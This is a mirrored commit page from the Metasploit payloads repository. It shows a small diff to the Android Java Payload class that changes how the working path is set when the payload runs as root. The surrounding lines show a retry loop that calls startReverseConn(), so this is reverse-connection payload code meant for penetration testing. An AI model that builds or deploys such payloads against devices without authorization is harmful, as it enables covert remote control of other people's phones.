1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00

fix path when running as root

This commit is contained in:
Tim 2014-11-28 01:58:08 +00:00
parent d9c6acc343
commit 2f14c37ef7

@ -45,8 +45,9 @@ public class Payload {
public static void main(String[] args) {
if (args != null) {
parameters = new String[] { "/data/data/com.metasploit.stage/" };
parameters = new String[] { "/data/local/tmp/tmp2/tmp3" };
File currentDir = new File(".");
String path = currentDir.getAbsolutePath();
parameters = new String[] { path };
}
int nTrials = Integer.parseInt(TRIALS.substring(4).trim());
while (!startReverseConn() && nTrials-- > 0) {